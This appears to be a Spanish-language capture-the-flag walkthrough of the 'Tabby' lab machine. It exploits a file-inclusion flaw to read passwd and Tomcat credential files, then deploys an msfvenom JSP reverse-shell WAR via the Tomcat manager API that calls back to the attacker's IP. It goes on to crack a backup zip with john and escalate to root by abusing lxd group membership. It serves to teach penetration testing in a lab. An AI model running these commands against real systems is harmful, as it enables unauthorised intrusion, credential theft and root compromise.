Tabby - 10.129.5.1

Reconnossaince

Nmap Recon Results

Discovery OS System

TTL = 63 -> Linux System

Recon Open Ports

Service Enumeration

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 45:3c:34:14:35:56:23:95:d6:83:4e:26:de:c6:5b:d9 (RSA)
|   256 89:79:3a:9c:88:b0:5c:ce:4b:79:b1:02:23:4b:44:a6 (ECDSA)
|_  256 1e:e7:b9:55:dd:25:8f:72:56:e8:8e:65:d5:19:b0:8d (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open  http    Apache Tomcat
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

nuestro resultado del escaneo de nmap nos revela que tenemos 3 puertos abiertos, 2 posibles servicios web , uno de ellos un tomcat9 y en el puerto 80 un servicio web que enumeraremos pronto.

nmap --script http-enum -p 8080 10.129.69.215 -T4 -n -oN http-enum

PORT     STATE SERVICE
8080/tcp open  http-proxy
| http-enum: 
|   /examples/: Sample scripts
|   /manager/html/upload: Apache Tomcat (401 )
|   /manager/html: Apache Tomcat (401 )
|_  /docs/: Potentially interesting folder

aplicando fuerza bruta a traves del script nse “http-enum” para enumerar posibles directorios.

Enumeration

Web Services

http://10.129.5.1/

AltText|1200

enumerando el sitio web, en la seccion “News” notamos que hace uso de un parametro “File” del que intentaremos aprovecharnos en el caso de que las entradas no esten bien sanitizada.

AltText|1200

Explotation

Directory Traversal

http://megahosting.htb/news.php?file=../../../../../../../../../..//etc/passwd> 

AltText consiente de que podemos aprovecharnos de un LFI en el servicio web por el puerto 80 enumeraremos recursos potencialmente utiles, por ejemplo el fichero de configuracion de tomcat para listar credenciales validas…

AltText|1200 entonces sabemos que el systema de tomcat esta instalado en la siguiente ruta /usr/share/tomcat y que posiblemente el fichero “tomcat-users.xml” se encuentre dentro de dicho directorio, para eso instalaremos una version de tomcat 9 en un contenedor de docker y buscaremos el fichero para saber concretamente en que ruta se encuentra.

  • Docker Container
apt install tomcat9
find / -type f -iname "tomcat-users.xml"

nuestro poximo paso sera listar el fichero a traves del LFI.

- Valid Credentials
	- tomcat : $3cureP4s5w0rd123!

una vez que nos logueamos en el servicio web http://10.129.69.215:8080/manager/html obtenemos un 403 - Prohibido

probablemente solo nos podemos loguear al servicio de manera local, o sea desde el lado del servidor… pero leimos con anterioridad que habia otro servicio que nos ayudaba a manejar las instancias de tomcat que era “host-manager-webapp”

Encontramos un interesante Recurso donde muestra distintas variantes de explotacion de tomcat, pero desafortunadamente este poc es en windows (aunque lo intentamos no tenemos suerte).

Googleando de igual manera llegamos Exploiting Apache Tomcat manager-script role

En la documentacion de tomcat dice que podemos subir un fichero “war” a traves de forma remota aunque no podamos loguearnos de forma grafica.

AltText

Googleando podemos dar con unas instrucciones en git de como subir y desplegar el archivo

# deploy under "path" context path
curl --upload-file appplication-0.1-1.war "http://tomcat:tomcat@localhost:8080/manager/deploy?path=/application-0.1-1

# undeploy
curl "http://tomcat:tomcat@localhost:8080/manager/undeploy?path=/application-0.1-1"

#(!tomcat7 uses /manager/text/undeploy and /manager/text/deploy paths)

# !tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# tomcat-users.xml has to be setup with user that has admin, manager and manager-script roles

realizamos una pequeรฑa prueba para saber si el recurso en donde queremos subir nuestro fichero war existe

Asi que nos crearemos un fichero war con msfvenom y procedemos a subir el fichero

Generating War File

#(Creando war rev shell)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.31 LPORT=443 -f war --platform linux -a x64 -o shell.war
#(Uploading the war file )
curl -u "tomcat:$3cureP4s5w0rd123!" http://10.129.156.191:8080/manager/text/deploy?path=/lemon --upload-file shell.war

los parametros son:

- -u 'tomcat:$3cureP4s5w0rd123!'  #Credenciales
- /manager/text/deploy - ruta  
- ?path=/lemon - la ruta en la que quiero que viva la aplicaciรณn
- --upload-file shell.war - archivo war que cargaremos con curl a traves del metodo PUT en HTTP

una vez desplegada nuestra aplicacion , ahora identificaremos cual es nuestro archivo jsp, que ejecutara nuestra reverse shell

jar -ft shell.war

ahora podemos realizar nuestra peticion get para que sea interpretado en el lado del servidor y obtengamos nuestra conexion reversa

curl -u "tomcat:\$3cureP4s5w0rd123\!" "http://10.129.156.191:8080/lemon/djabvojwvgpm.jsp"

Priv Esc

Enumerando el sistema nos damos cuenta que en el directorio /var/www/html/ existe un fichero llamado “13162020_backup.zip” que se ve interesante

ls -lRa

AltText|600 entonces transferiremos este fichero a nuestra maquina local

#(Convert the zip file in base64)
base64 16162020_backup.zip

#(copy with tmux)
CTRL + [
CTRL + space   // start select
CTRL + w 	  // copy
CTRL + ]     // paste

entonces abrimos un fichero en nano pegamos el buffer de tmux y decodeamos, para asegurar la intergridad de la data hacemos un checkeo de hashes en md5sum

AltText cuando queremos desconprimir el fichero nos pide un passphrase , como lo desconocemos le aplicaremos fuerza bruta pero antes que eso lo pasamos a formato john

#(Format to john)
zip2john backup-ash.zip > backup2john

#(cracking with john)
john --wordlists=/usr/share/wordlists/rockyou.txt backup2john

  • Valid Credential
    • Ash : admin@it

Privilege Escalation

enumerando el sistema nos damos cuenta de que estamos en el grupo (lxd) que basicamente es una tecnologia de linux para desplegar contenedores, de la que podemos abusar

googleando damos con el recurso de book hacktricks en donde explica distintos metodos para escalar privilegios, asi que en este caso utilizaremos el segundo metodo


# Build an Alpine image and start it using the flag security.privileged=true, forcing the container to interact as root with the host filesystem.

 
1.  build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder

2.  Build the image
./build-alpine

3. Transfer the file and import

lxc image import alpine.tar.gz --alias alpine-image  # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.

// we can list the image 
lxc image list

4. before running the image, start and configure the lxd storage pool as default 
lxd init

5. run the image
lxc init alpine-image lemon-container -c security.privileged=true

6.  mount the /root into the image
lxc config device add lemon-container mydevice disk source=/ path=/mnt/root recursive=true

// we can list container 
lxc list

# interact with the container
lxc start lemon-container
lxc exec lemon-container /bin/sh

bien una vez que tenemos montada el directorio /root en nuestro container podemos realizar distintas tecnicas de explotacion como por ejp. agregar una llave id_rsa para loguearse como root, o agregarle permisos suid al binario bash, entre otras cosas.